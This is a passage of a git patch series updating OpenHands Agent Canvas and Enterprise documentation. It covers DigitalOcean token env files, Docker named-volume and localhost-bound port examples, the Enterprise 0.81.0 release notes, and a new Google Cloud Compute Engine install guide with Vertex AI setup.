~/.agent-canvas.env + ``` + + Open the file in a text editor and add: + + ```bash + export MARS_WEB=1 + export MARS_TOKEN="<your-digitalocean-token>" + ``` + + Load the file in the same command that starts Agent Canvas: + ```bash - MARS_WEB=1 agent-canvas + source ~/.agent-canvas.env && agent-canvas ``` + + For `npx`, replace `agent-canvas` with `npx @openhands/agent-canvas`. </Tab> + <Tab title="Docker"> + Use the same `~/.agent-canvas.env` file as the Installed CLI tab. Add a local backend key to it once: + ```bash + echo "export LOCAL_BACKEND_API_KEY=\"$(openssl rand -hex 32)\"" >> ~/.agent-canvas.env + ``` + + Load the file, then pass each variable to the container by name. With `-e NAME` and no value, Docker copies the value from your shell, so the token never appears in the command: + + ```bash + source ~/.agent-canvas.env + mkdir -p ~/projects + + docker run -it --rm \ + -p 127.0.0.1:8000:8000 \ + -e MARS_WEB \ + -e MARS_TOKEN \ + -e LOCAL_BACKEND_API_KEY \ + -v openhands-data:/home/openhands/.openhands \ + -v ~/projects:/projects \ + ghcr.io/openhands/agent-canvas:latest + ``` + + Open `http://localhost:8000/canvas`. If you add this server as a backend in **Manage Backends**, enter the `LOCAL_BACKEND_API_KEY` value from `~/.agent-canvas.env` in the **API Key** field. + + This example mounts the named volume `openhands-data`, which Docker creates on first use and keeps after the container exits. On Linux, a named volume prevents the UID ownership mismatch between your host user and the container user that can cause `unable to open database file`. See [Install Agent Canvas](/openhands/usage/agent-canvas/setup#install-and-run) for more Docker setup details and Windows commands. + </Tab> <Tab title="From source (npm run dev)"> - From a clone of the [OpenHands repository](https://github.com/OpenHands/OpenHands): + `npm run dev` reads a `.env` file in the repository root automatically. In your clone of the [OpenHands repository](https://github.com/OpenHands/OpenHands), add these lines to `.env`: + + ```ini + MARS_WEB=1 + MARS_TOKEN=<your-digitalocean-token> + ``` + + Then start Agent Canvas: ```bash npm install - MARS_WEB=1 npm run dev + npm run dev ``` - `npm run dev` also reads a `.env` file in the repository root, so you can add `MARS_WEB=1` there instead of setting it on each run. + The repository's `.gitignore` excludes `.env`. Do not commit it or copy the token into `.env.sample`. </Tab> - </Tabs> -To sign in automatically when the server starts, add your token to the same command: +Then open Agent Canvas in your browser and go to **Manage Backends** → **Add Backend** → **Providers**. -```bash -MARS_WEB=1 MARS_TOKEN=<your-digitalocean-token> agent-canvas -``` +### Persist Sign-In Across Restarts -Then open Agent Canvas in your browser and go to **Manage Backends** → **Add Backend** → **Providers**. +The bridge does not save your DigitalOcean token to disk. A token you enter in the UI lasts only until the server or container stops. To stay signed in, load your env file every time you start Agent Canvas, as shown in [Store Your Token in an Env File](#store-your-token-in-an-env-file). For Docker, that includes each time you recreate the container. +When the token expires or you revoke it, replace `MARS_TOKEN` in the env file and restart Agent Canvas. ## Troubleshooting | Message or symptom | What to do | |--------------------|------------| -| No **Providers** tab in **Add Backend** | Use the desktop app, or set `MARS_WEB=1` on the server that hosts the web build. | -| **Could not connect to DigitalOcean.** | Copy the token again and check that it has not expired. | +| **No Providers tab in Add Backend** | Use the desktop app, or set `MARS_WEB=1` on the server that hosts the web build. | +| **Docker logs report a missing bridge authentication key** | Set `LOCAL_BACKEND_API_KEY` or `MARS_WEB_KEY` along with `MARS_WEB=1`, then recreate the container. | +| **Linux: unable to open database file** | Use the named settings volume in the Docker example instead of binding `~/.openhands`. | +| **Asked for a DigitalOcean token after restarting Docker** | This is expected because UI-entered tokens are held in memory only. Enter the token again, or [load `MARS_TOKEN` from an env file](#store-your-token-in-an-env-file) at startup. OAuth is not available in the web build. | +| **Could not connect to DigitalOcean.** | Copy the token again and check that it has not expired. If you load it from an env file, check that the value has no extra spaces and that the file is loaded before Agent Canvas starts. | | **DigitalOcean refused the connection.** | Create a new token with **Full Access**, and confirm your team can use Managed Agents. | | **This DigitalOcean sign-in has expired.** | Create a new token and sign in again. | | **This team has no OpenHands agents yet.** | Select **New Agent**. Agents for other harnesses are hidden. | | **This session isn't running an OpenHands agent server…** | The session was not started from an OpenHands agent. Launch a session from an agent created in Agent Canvas. | | **Could not launch a new session.** | Stop sessions you no longer need, and check that your DigitalOcean balance is above $0. | -| A session stays on **Waking the session…** | Add funds to your DigitalOcean account. Sessions stay paused at a $0 balance. | +| **A session stays on Waking the session…** | Add funds to your DigitalOcean account. Sessions stay paused at a $0 balance. | | **Your system keychain is unavailable…** | Unlock or install a keychain (common on Linux), or sign in again each time you open the app. | -| Conversations fail right after connecting | Add an LLM profile in **Settings → LLM**, then try again. | +| **Conversations fail right after connecting** | Add an LLM profile in **Settings → LLM**, then try again. | ## Related Guides diff --git a/openhands/usage/agent-canvas/backend-setup/docker.mdx b/openhands/usage/agent-canvas/backend-setup/docker.mdx index b506874cf..2e09aa126 100644 --- a/openhands/usage/agent-canvas/backend-setup/docker.mdx +++ b/openhands/usage/agent-canvas/backend-setup/docker.mdx @@ -12,27 +12,27 @@ Use Docker when you want the Agent Canvas distribution and its backend services ## Run the Official Image -Mount a persistence directory for settings, secrets, and conversation history, and a projects directory for workspace access. +Mount a named volume for settings, secrets, and conversation history, and a projects directory for workspace access. On Linux, a named volume avoids the `unable to open database file` error caused by binding a host-owned `~/.openhands` directory. See [Install Agent Canvas](/openhands/usage/agent-canvas/setup#install-and-run) to move existing settings into the volume. <Tabs> <Tab title="macOS / Linux"> ```bash - mkdir -p ~/projects ~/.openhands + mkdir -p ~/projects docker run -it --rm \ - -p 8000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ + -p 127.0.0.1:8000:8000 \ + -v openhands-data:/home/openhands/.openhands \ -v ~/projects:/projects \ ghcr.io/openhands/agent-canvas:latest ``` </Tab> <Tab title="Windows (PowerShell)"> ```powershell - New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\.openhands", "$env:USERPROFILE\projects" | Out-Null + New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\projects" | Out-Null docker run -it --rm ` - -p 8000:8000 ` - -v "$($env:USERPROFILE)\.openhands:/home/openhands/.openhands" ` + -p 127.0.0.1:8000:8000 ` + -v openhands-data:/home/openhands/.openhands ` -v "$($env:USERPROFILE)\projects:/projects" ` ghcr.io/openhands/agent-canvas:latest ``` @@ -59,7 +59,7 @@ Configuration is passed via `-e` flags on `docker run`: You can also pass `--disable-telemetry` to the Agent Canvas runtime. Use the environment variable for deployment configuration because older images ignore an unknown environment variable but reject an unknown runtime flag. <Warning> - The agent server can execute arbitrary shell commands inside the container. If exposing it beyond localhost, set `LOCAL_BACKEND_API_KEY` to a strong secret. + The agent server can execute arbitrary shell commands inside the container. The examples on this page publish the port on `127.0.0.1`, so only your machine can reach it. To reach the container from another machine, drop the `127.0.0.1:` prefix from `-p`, or replace it with a specific interface IP, and set `LOCAL_BACKEND_API_KEY` to a strong secret. </Warning> ## Let the Agent Use Docker @@ -78,8 +78,8 @@ To enable it, start the container with `--privileged`: ```bash docker run -it --rm \ --privileged \ - -p 8000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ + -p 127.0.0.1:8000:8000 \ + -v openhands-data:/home/openhands/.openhands \ -v ~/projects:/projects \ ghcr.io/openhands/agent-canvas:latest ``` diff --git a/openhands/usage/agent-canvas/setup.mdx b/openhands/usage/agent-canvas/setup.mdx index 88ea0514a..d52983c9f 100644 --- a/openhands/usage/agent-canvas/setup.mdx +++ b/openhands/usage/agent-canvas/setup.mdx @@ -89,16 +89,16 @@ The `agent-canvas` launcher can run the Canvas client with Agent Server, Automat </Tab> <Tab title="Docker"> - Create host directories for persistent settings and project files, then start the container. + Use a named Docker volume for persistent settings and a host directory for project files, then start the container. **macOS / Linux:** ```bash - mkdir -p ~/projects ~/.openhands + mkdir -p ~/projects docker run -it --rm \ - -p 8000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ + -p 127.0.0.1:8000:8000 \ + -v openhands-data:/home/openhands/.openhands \ -v ~/projects:/projects \ ghcr.io/openhands/agent-canvas:latest ``` @@ -106,16 +106,34 @@ The `agent-canvas` launcher can run the Canvas client with Agent Server, Automat **Windows (PowerShell):** ```powershell - New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\.openhands", "$env:USERPROFILE\projects" | Out-Null + New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\projects" | Out-Null docker run -it --rm ` - -p 8000:8000 ` - -v "$($env:USERPROFILE)\.openhands:/home/openhands/.openhands" ` + -p 127.0.0.1:8000:8000 ` + -v openhands-data:/home/openhands/.openhands ` -v "$($env:USERPROFILE)\projects:/projects" ` ghcr.io/openhands/agent-canvas:latest ``` - The Docker image serves Agent Canvas at `http://localhost:8000/canvas`. The agent can access project files under the mounted `/projects` directory. + The Docker image serves Agent Canvas at `http://localhost:8000/canvas`. The agent can access project files under the mounted `/projects` directory. The `127.0.0.1:` prefix publishes the port on your machine only, so other devices on your network cannot reach the agent server. + + Docker creates `openhands-data` on first use and keeps it after the container exits, including with `--rm`. Reuse the same volume on subsequent runs. + + <Warning> + On Linux, binding `~/.openhands` can cause `unable to open database file`: the container user defaults to UID `10001`, while the host directory is usually owned by your own user, such as UID `1000`. A named volume avoids this ownership mismatch. Switching to a new volume does not copy existing settings from `~/.openhands`. + </Warning> + + To move existing settings from `~/.openhands` into the volume, run this once before starting Agent Canvas: + + ```bash + docker run --rm -u 0 --entrypoint sh \ + -v ~/.openhands:/from:ro \ + -v openhands-data:/to \ + ghcr.io/openhands/agent-canvas:latest \ + -c 'cp -a /from/. /to/ && chown -R 10001:10001 /to' + ``` + + To use DigitalOcean sandboxes, follow the [DigitalOcean Docker setup](/openhands/usage/agent-canvas/backend-setup/digitalocean#use-it-from-the-web-build) to enable the integration and configure authentication. <Note> PowerShell uses backticks (`` ` ``) for line continuation. If Docker reports that it cannot connect to the daemon, start Docker Desktop and run the command again. @@ -264,7 +282,7 @@ agent-canvas --port 3000 </Tab> </Tabs> -Your settings and conversation data are stored outside the package or image when you use the documented `~/.openhands` mount. +Your settings and conversation data are stored outside the package or image: in `~/.openhands` for npm and npx, and in the `openhands-data` volume for Docker. Pulling a new image does not change the volume. <Note> **Recover or reset:** Use [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) when the browser is blank, a port is busy, the backend is unreachable, a model or API key fails, or an update or uninstall is stuck. It also explains clean removal and reinstall. @@ -301,10 +319,16 @@ Your settings and conversation data are stored outside the package or image when docker stop <container-id-or-name> docker rmi ghcr.io/openhands/agent-canvas:latest ``` + + To also delete settings, secrets, and conversation history, remove the settings volume: + + ```bash + docker volume rm openhands-data + ``` </Tab> </Tabs> -Uninstalling the package or image does not automatically remove your persisted data. If you want to delete local settings, secrets, and conversation history, remove the persistence directory you mounted or used, such as `~/.openhands`. +Uninstalling the package or image does not automatically remove your persisted data. To delete local settings, secrets, and conversation history, remove `~/.openhands` for npm and npx, or the `openhands-data` volume for Docker. If you bound `~/.openhands` in an older Docker setup, remove that directory too. ## Desktop App (Preview Build) diff --git a/openhands/usage/agent-canvas/troubleshooting.mdx b/openhands/usage/agent-canvas/troubleshooting.mdx index a328a409b..e7d8e6da1 100644 --- a/openhands/usage/agent-canvas/troubleshooting.mdx +++ b/openhands/usage/agent-canvas/troubleshooting.mdx @@ -183,8 +183,8 @@ If you are using Docker, map a different host port: ```bash docker run -it --rm \ - -p 3000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ + -p 127.0.0.1:3000:8000 \ + -v openhands-data:/home/openhands/.openhands \ -v ~/projects:/projects \ ghcr.io/openhands/agent-canvas:latest ``` @@ -220,8 +220,8 @@ If the logs show a missing module — for example, `Error [ERR_MODULE_NOT_FOUND] ```bash docker run -it --rm \ - -p 8000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ + -p 127.0.0.1:8000:8000 \ + -v openhands-data:/home/openhands/.openhands \ -v ~/projects:/projects \ ghcr.io/openhands/agent-canvas:1.26.0 ``` @@ -385,7 +385,7 @@ Before updating or uninstalling, stop Agent Canvas. </Tab> </Tabs> -Uninstalling the package or image does not automatically delete persisted settings, secrets, or conversation history. Those live in the persistence directory you used, such as `~/.openhands`. +Uninstalling the package or image does not automatically delete persisted settings, secrets, or conversation history. Those live in `~/.openhands` for npm and npx, or in the `openhands-data` volume for Docker. See [Uninstall Agent Canvas](/openhands/usage/agent-canvas/setup#uninstall-agent-canvas) to remove them. ## Get Help From b918604b96b43485fe5db4d92df704e04fb0207c Mon Sep 17 00:00:00 2001 From: dylan <dylan.jacoby@openhands.dev> Date: Thu, 15 Oct 2026 10:14:43 -0600 Subject: [PATCH 70/97] docs(enterprise): add 0.81.0 release notes (#944) * docs(enterprise): add 0.81.1 release notes Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * Position SuperAdmin as beta This positions the SuperAdmin dashboard as Beta * docs(enterprise): retarget release notes to 0.81.0 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com> Co-authored-by: openhands <openhands@all-hands.dev> Co-authored-by: Devin <devinvinson@gmail.com> --- docs.json | 1 + enterprise/release-notes/0.81.0.mdx | 85 +++++++++++++++++++++++++++++ 2 files changed, 86 insertions(+) create mode 100644 enterprise/release-notes/0.81.0.mdx diff --git a/docs.json b/docs.json index 97abb39f9..8b8db3e2c 100644 --- a/docs.json +++ b/docs.json @@ -582,6 +582,7 @@ "group": "Release Notes", "icon": "rocket", "pages": [ + "enterprise/release-notes/0.81.0", "enterprise/release-notes/0.76.0", "enterprise/release-notes/0.74.0", "enterprise/release-notes/0.71.1", diff --git a/enterprise/release-notes/0.81.0.mdx b/enterprise/release-notes/0.81.0.mdx new file mode 100644 index 000000000..890e78bb7 --- /dev/null +++ b/enterprise/release-notes/0.81.0.mdx @@ -0,0 +1,85 @@ +--- +title: OpenHands Enterprise 0.81.0 +description: Release notes for OpenHands Enterprise version 0.81.0 +--- + +# OpenHands Enterprise 0.81.0 + +Released October 13, 2026. + +## Highlights + +- **Super Admin Dashboard (Beta)** — A new dashboard at `/super-admin` lets instance Super Admins manage users, organizations, and membership across the whole installation, and walks the first Super Admin through a guided setup on a new install. The feature is currently in Beta, and off by default. Turn it on with **Enable Super Admin Dashboard** in the Admin Console. A future release will enable this on by default. +- **Security Updates** — The Enterprise Server, Runtime API, and Automation images drop packages with known high and critical vulnerabilities. +- **Automation Improvements** — The automations list can be filtered by creator, custom webhook deliveries are no longer processed twice, and the 64 KiB limit on total automation state is gone. + +## Features + +#### Enterprise Server + +* feat(sandbox): stop docker containers on pause by @jlav in https://github.com/OpenHands/enterprise/pull/600 +* feat(sandbox): pause and delete idle sandboxes from the worker by @jlav in https://github.com/OpenHands/enterprise/pull/603 +* feat: Super-admin instance-wide org-members view with sign-up link minting by @tofarr in https://github.com/OpenHands/enterprise/pull/695 +* feat: add Super Admin dashboard, first-install NUX, and settings UI updates by @FraterCCCLXIII in https://github.com/OpenHands/enterprise/pull/621 +* feat: Add Reset Password action to super-admin users rows by @tofarr in https://github.com/OpenHands/enterprise/pull/729 +* feat(super-admin): add CRUD admin API + UI for oauth_providers by @tofarr in https://github.com/OpenHands/enterprise/pull/743 +* feat(settings): provider connections for org-defaults LLM profiles by @juanmichelini in https://github.com/OpenHands/enterprise/pull/536 +* feat(super-admin): add SAML form support to auth providers UI by @tofarr in https://github.com/OpenHands/enterprise/pull/757 + +#### Automation + +* feat(automations): filter the automations list by creator by @henriquehirako in https://github.com/OpenHands/automation/pull/539 +* feat: add automation OTEL tracing by @malhotra5 in https://github.com/OpenHands/automation/pull/544 + +#### OpenHands Cloud (Helm Chart) + +* feat(replicated): add a toggle for the Super Admin dashboard (OHE-3487) by @hieptl in https://github.com/OpenHands/OpenHands-Cloud/pull/1348 + +## Bug Fixes + +#### Enterprise Server + +* fix(sandbox): PLTF-3697 never pause the sandbox being resumed by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/676 +* fix: remediate high/critical Trivy findings on enterprise-server (OHE-3284) by @lilagrc in https://github.com/OpenHands/enterprise/pull/683 +* fix(usage): link Associated PR to the provider and label it org/repo #N by @henriquehirako in https://github.com/OpenHands/enterprise/pull/700 +* fix: show the field and reason of a request validation error in toasts (OHE-3529) by @hieptl in https://github.com/OpenHands/enterprise/pull/706 +* fix(settings): open Agent Canvas on the org selected in Settings (OHE-3545) by @hieptl in https://github.com/OpenHands/enterprise/pull/719 +* fix(org): explain an invitation refused for the wrong email (OHE-3557) by @hieptl in https://github.com/OpenHands/enterprise/pull/736 +* fix: count each conversation start once against daily quota by @neubig in https://github.com/OpenHands/enterprise/pull/662 +* fix(budgets): replace the LiteLLM health banners with a status badge (OHE-3505) by @hieptl in https://github.com/OpenHands/enterprise/pull/741 +* fix(integrations): do not treat scoped package names as @openhands mentions by @henriquehirako in https://github.com/OpenHands/enterprise/pull/726 + +#### Runtime API + +* fix: remediate Trivy HIGH/CRITICAL CVEs in runtime-api image (OHE-3283) by @lilagrc in https://github.com/OpenHands/runtime-api/pull/765 + +#### Automation + +* fix(kv): remove the aggregate 64 KiB automation-state limit by @all-hands-bot in https://github.com/OpenHands/automation/pull/524 +* fix(webhooks): deduplicate custom webhook deliveries by @all-hands-bot in https://github.com/OpenHands/automation/pull/517 +* fix(presets): tell agent the event payload is inline, not an env var by @enyst in https://github.com/OpenHands/automation/pull/205 +* fix: encode Unicode tarball download filenames by @enyst in https://github.com/OpenHands/automation/pull/499 +* fix(git-sync): re-export every automation when the encryption key changes by @enyst in https://github.com/OpenHands/automation/pull/563 +* fix(container): remove runtime package managers by @neubig in https://github.com/OpenHands/automation/pull/566 + +#### OpenHands Cloud (Helm Chart) + +* fix(laminar): run ClickHouse on the supported 26.3 LTS image by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1362 + +## Component Versions + +| Component | Version | +|-----------|---------| +| enterprise-server | 1.71.0 | +| agent-server | 1.50.1-python | +| agent-canvas | 1.27.1 | +| automation | 1.19.1 | +| runtime-api | 0.11.1 | + +## Full Changelog + +- [Enterprise Server releases](https://github.com/OpenHands/enterprise/releases) +- [Software Agent SDK releases](https://github.com/OpenHands/software-agent-sdk/releases) +- [Runtime API releases](https://github.com/OpenHands/runtime-api/releases) +- [Automation releases](https://github.com/OpenHands/automation/releases) +- [OpenHands Cloud releases](https://github.com/OpenHands/OpenHands-Cloud/releases) From 9ed2f27a59a35529627bf7be541fcac31397bc6d Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 16 Oct 2026 11:31:48 -0500 Subject: [PATCH 71/97] docs: add Google Cloud Replicated quick start (#876) * docs: add tested Google Cloud Replicated quick start * Link directly to the Replicated installation skill --- docs.json | 1 + enterprise/quick-start.mdx | 2 + enterprise/vm-install/google.mdx | 338 +++++++++++++++++++++++++++++++ 3 files changed, 341 insertions(+) create mode 100644 enterprise/vm-install/google.mdx diff --git a/docs.json b/docs.json index 8b8db3e2c..98a8c7c64 100644 --- a/docs.json +++ b/docs.json @@ -542,6 +542,7 @@ "enterprise/architecture", "enterprise/sizing-guide", "enterprise/quick-start", + "enterprise/vm-install/google", { "group": "Custom Sandbox Images", "icon": "box", diff --git a/enterprise/quick-start.mdx b/enterprise/quick-start.mdx index 57d398478..8d42cc0d8 100644 --- a/enterprise/quick-start.mdx +++ b/enterprise/quick-start.mdx @@ -35,6 +35,8 @@ Before you begin, make sure you have the following ready: You will need a VM to host OpenHands Enterprise. Choose one of the options below to provision your infrastructure. +For Google Compute Engine with Vertex AI, follow the [Google Cloud Quick Start](/enterprise/vm-install/google). + <Note> The requirements below are the trial baseline, which comfortably supports about 15 concurrent sandboxes. For a larger rollout, pick your VM from the [Sizing Guide](/enterprise/sizing-guide) before provisioning. </Note> diff --git a/enterprise/vm-install/google.mdx b/enterprise/vm-install/google.mdx new file mode 100644 index 000000000..cffb119b0 --- /dev/null +++ b/enterprise/vm-install/google.mdx @@ -0,0 +1,338 @@ +--- +title: Google Cloud Quick Start +description: Install OpenHands Enterprise on Google Compute Engine with Replicated Embedded Cluster and configure Vertex AI. +icon: google +--- + +Install OpenHands Enterprise on a dedicated Google Compute Engine VM using +Replicated Embedded Cluster. The installer manages Kubernetes on the VM. + +For an existing Kubernetes cluster, see [Install with Helm](/enterprise/k8s-install/installation). +This guide covers provisioning, DNS and TLS, installation, Vertex AI configuration +and a completed conversation. Use the +[Admin Console Configuration reference](/enterprise/vm-install/admin-console-configuration) +for optional settings. + +## Prerequisites + +- An Enterprise trial or licensed installer account. +- Google Cloud CLI authenticated to a project with Compute Engine and Cloud DNS enabled. +- Permission to create a VM, persistent disk, VPC, subnet, firewall rules and static external IP. +- Regional N2 vCPU, SSD and external-IP quota for the resources below. +- A dedicated SSH key pair and the public IPv4 /32 of your workstation or VPN. +- A base domain you control, a wildcard DNS record and a publicly trusted wildcard certificate. +- Credentials for your LLM provider and a GitHub account that can create and install a GitHub App. + +## Plan the Google Cloud Resources + +| Resource | Purpose | +| --- | --- | +| Dedicated VPC and subnet | Isolate the VM's network and firewall rules | +| Regional static external IPv4 | Stable address for DNS and inbound access | +| VM-specific network tag | Target firewall rules to this installation | +| Ubuntu 24.04 LTS x86-64 VM | Run the installer and embedded cluster | +| Persistent SSD boot disk | Store cluster, database and sandbox data | +| Wildcard DNS and trusted TLS | Secure services and dynamic sandbox hostnames | + +The evaluated VM uses `n2-standard-16` (16 vCPUs, 64 GiB RAM) and a 500 GiB +`pd-ssd` boot disk. The public trial baseline is 16 vCPUs, 64 GB RAM and +200 GB storage, with disk P99 write latency no higher than 10 ms. Provisioned +storage capacity alone does not establish latency: the installer preflight +must pass. Use the [Sizing Guide](/enterprise/sizing-guide) for larger deployments. + +The example uses persistent storage rather than Local SSD. The VM has no attached +Google Cloud service account; provider credentials are configured separately +through the Admin Console. A VM's infrastructure identity and its model-inference +identity are separate decisions. + +## Provision Infrastructure + +Use a dedicated resource name and pass the target project explicitly to each +command. Inspect existing resources before creating new ones. + +```bash +export PROJECT="<google-cloud-project>" +export ZONE="us-central1-a" +export REGION="us-central1" +export VM="openhands-replicated-eval" +export NETWORK="$VM" +export ADMIN_CIDR="<your-public-ip>/32" +export SSH_PUBLIC_KEY_FILE="$HOME/.ssh/openhands-google.pub" +export BASE_DOMAIN="google.openhands.example.com" + +gcloud auth login +gcloud compute regions describe "$REGION" --project="$PROJECT" +gcloud compute machine-types describe n2-standard-16 \ + --project="$PROJECT" --zone="$ZONE" +gcloud compute images describe-from-family ubuntu-2404-lts-amd64 \ + --project=ubuntu-os-cloud +gcloud compute instances list --project="$PROJECT" +``` + +Generate a dedicated SSH key without replacing an existing file: + +```bash +ssh-keygen -t ed25519 -f "$HOME/.ssh/openhands-google" -C openhands-google +``` + +### Create Networking and Ingress Rules + +```bash +gcloud compute networks create "$NETWORK" --project="$PROJECT" --subnet-mode=custom +gcloud compute networks subnets create "$NETWORK" --project="$PROJECT" \ + --region="$REGION" --network="$NETWORK" --range=10.90.0.0/24 +gcloud compute addresses create "$VM" --project="$PROJECT" \ + --region="$REGION" --network-tier=PREMIUM +export VM_IP=$(gcloud compute addresses describe "$VM" --project="$PROJECT" \ + --region="$REGION" --format='value(address)') +gcloud compute firewall-rules create "$VM-web" --project="$PROJECT" \ + --network="$NETWORK" --direction=INGRESS --allow=tcp:80,tcp:443 \ + --source-ranges=0.0.0.0/0 --target-tags="$VM" +gcloud compute firewall-rules create "$VM-admin" --project="$PROJECT" \ + --network="$NETWORK" --direction=INGRESS --allow=tcp:22,tcp:30000 \ + --source-ranges="$ADMIN_CIDR" --target-tags="$VM" +``` + +Keep SSH and the Admin Console restricted to an administrator address or approved +network. Application HTTPS must be reachable by users and configured OAuth or +webhook providers. Choose a subnet range that does not overlap your connected networks. + +### Create the VM + +Resolve and review the current Ubuntu image, then pin the chosen image name. + +```bash +export IMAGE="<reviewed-ubuntu-24.04-x86-64-image-name>" +KEY_METADATA=$(mktemp) +printf 'openhands:%s\n' "$(cat "$SSH_PUBLIC_KEY_FILE")" > "$KEY_METADATA" +gcloud compute instances create "$VM" --project="$PROJECT" --zone="$ZONE" \ + --machine-type=n2-standard-16 --image="$IMAGE" --image-project=ubuntu-os-cloud \ + --boot-disk-type=pd-ssd --boot-disk-size=500GB \ + --subnet="$NETWORK" --address="$VM_IP" --tags="$VM" \ + --no-service-account --no-scopes --metadata=block-project-ssh-keys=true \ + --metadata-from-file=ssh-keys="$KEY_METADATA" +rm "$KEY_METADATA" +ssh -i "$HOME/.ssh/openhands-google" "openhands@$VM_IP" +``` + +### Verify the OS and Kernel + +```bash +cat /etc/os-release +uname -r +nproc +free -h +df -h / /var/lib +sudo -n true +``` + +Sysbox requires Linux kernel 6.3 or newer. Verify your image's actual kernel +against the [sandbox requirements](/enterprise/docker-in-sandbox) and run the +installer's host preflights before proceeding. Do not change the kernel solely +because its version differs from the tested configuration. + +<Note> +The validated installation used Ubuntu's generic kernel `6.8.0-146`. The +Google image initially booted `7.0.0-1011-gcp`, which was not tested with Sysbox; +this does not establish that it is incompatible. If you encounter a compatibility +failure, use the documented troubleshooting process and OpenHands Support to +select a supported kernel. +</Note> + +## Configure DNS and TLS + +Create a wildcard A record in your domain's managed zone: + +```bash +export DNS_PROJECT="<dns-project>" +export DNS_ZONE="<managed-zone-name>" +gcloud dns record-sets create "*.${BASE_DOMAIN}." --project="$DNS_PROJECT" \ + --zone="$DNS_ZONE" --type=A --ttl=300 --rrdatas="$VM_IP" +``` + +Obtain a publicly trusted certificate for `*.${BASE_DOMAIN}`. Let's Encrypt wildcard +issuance uses DNS-01 validation. Follow the +[Certbot manual DNS instructions](https://eff-certbot.readthedocs.io/en/stable/using.html#manual) +or your certificate authority's procedure. Keep private keys outside source control, +copy the full chain and key securely to the VM, and record how renewal and certificate +replacement will be handled. Manual issuance does not configure automatic renewal. + +Run the shared Quick Start's DNS and outbound checks **from the VM**, and confirm +all service names and a test runtime name resolve to its static IP. Verify the +certificate chain, wildcard SAN, key match and expiration before installation. + +## Prepare Vertex AI Access + +Use a Google Cloud project with billing enabled, the Vertex AI API enabled and +access to your chosen model in the selected location. The inference project can +be different from the project hosting the VM. + +```bash +export VERTEX_PROJECT="<vertex-project-id>" +export VERTEX_LOCATION="us-central1" +gcloud services enable aiplatform.googleapis.com --project="$VERTEX_PROJECT" +``` + +Have your Google Cloud administrator provide a service-account JSON key for the +inference project with permission to invoke the selected model. The +[Vertex AI User role](https://cloud.google.com/vertex-ai/docs/general/access-control) +(`roles/aiplatform.user`) provides model-use permissions; an administrator can +choose a narrower custom role under your organization's access policy. +Follow Google's [service-account key procedure](https://cloud.google.com/iam/docs/keys-create-delete) +if a new key is needed. Keep the JSON file outside source control, restrict access +and follow your organization's key rotation policy. If organization policy +prevents JSON keys, resolve the supported authentication path with OpenHands +Support before proceeding. + +The tested Replicated configuration uploads this JSON file through the Admin +Console. Signing in to `gcloud` on your workstation or attaching a service account +to the VM does not configure that field. Check +[model and location availability](https://cloud.google.com/vertex-ai/generative-ai/docs/learn/locations) +before choosing your model. The validated combination was `gemini-2.5-flash` in +`us-central1`; other models and locations require their own validation. + +## Preflight Validation + +Before opening the installer dashboard, confirm that: + +- The VM meets the CPU, memory, storage, OS and kernel requirements. +- Wildcard DNS resolves to the static external IP from the VM. +- Ports 80 and 443 are reachable by application clients, and port 30000 is reachable from your administrator network. +- The VM can reach the [distribution endpoints](/enterprise/quick-start#outbound-connectivity-checks), GitHub, `oauth2.googleapis.com` and the Vertex endpoint for your selected location. +- Your trusted certificate covers service and dynamic sandbox hostnames, and its private key matches. +- Vertex credentials and GitHub App prerequisites are ready. + +Run the shared [DNS checks](/enterprise/quick-start#dns-checks) and +[outbound connectivity checks](/enterprise/quick-start#outbound-connectivity-checks) +on the VM. An HTTP response establishes network reachability; authenticate and +run a conversation after deployment to validate inference. + +## Run the Installer + +### 1. Open the Installer Dashboard + +[Register for an Enterprise trial](https://install.r9.all-hands.dev/openhands/signup) +or log in with your licensed account. Select **View install guide**, name the +instance and choose **Outbound requests allowed** for this connected deployment. + +### 2. Download and Run the Installation Commands + +SSH into the Google VM. Select a release, then copy the instance-specific download, +extract and install commands from the dashboard. The extracted assets include +your license. Use the current dashboard commands rather than commands from a +previous installation. + +Run the interactive installer in a real terminal. Supply the trusted full-chain +certificate and matching private key already copied to the VM: + +```bash +sudo ./openhands install --license license.yaml \ + --hostname "admin.${BASE_DOMAIN}" \ + --tls-cert /path/to/fullchain.pem \ + --tls-key /path/to/privkey.pem +``` + +Set `BASE_DOMAIN` in this VM shell before running the command. Replace the file +paths with your actual certificate files. Set the Admin Console password when +prompted and require the host and storage-latency preflights to pass. + +If installation fails after preflights pass, follow +[Troubleshooting](/enterprise/troubleshooting) to generate a support bundle. + +### 3. Open the Admin Console + +Open `https://admin.<your-base-domain>:30000` from your administrator network and +log in with the password created during installation. For a single-node install, +continue past the additional-node screen. + +The tested installer printed an HTTP URL despite being invoked with TLS options. +Use the HTTPS endpoint and confirm that the browser trusts the supplied certificate. + +## Configure OpenHands + +Select **Config** in the Admin Console. The +[Admin Console Configuration reference](/enterprise/vm-install/admin-console-configuration) +describes all available fields for the installed release. + +### Domain and Certificates + +Keep **Hostname Configuration Mode** set to **Simple (default)** and enter your +base domain. Upload the trusted full-chain **TLS Certificate** and matching +**TLS Private Key** for the application. The certificate supplied to the installer +and the certificate configured for the application serve different setup steps. + +### Vertex AI Models + +In **LLM Configuration**, configure the administrator-managed provider: + +| Setting | Value | +| --- | --- | +| LLM Provider | Google | +| Google API Type | Google Cloud Platform (Vertex AI) | +| Google Cloud Project ID | Your Vertex inference project ID | +| Google Cloud Location | Your model's supported location; tested with `us-central1` | +| Google Cloud Service Account JSON file | Upload your service-account JSON file | +| Vertex AI Models | One model ID per line; tested with `gemini-2.5-flash` | + +Leave **Allow users to configure their own LLM providers (BYOK)** disabled when +users should use the administrator-managed models. Save and deploy these values 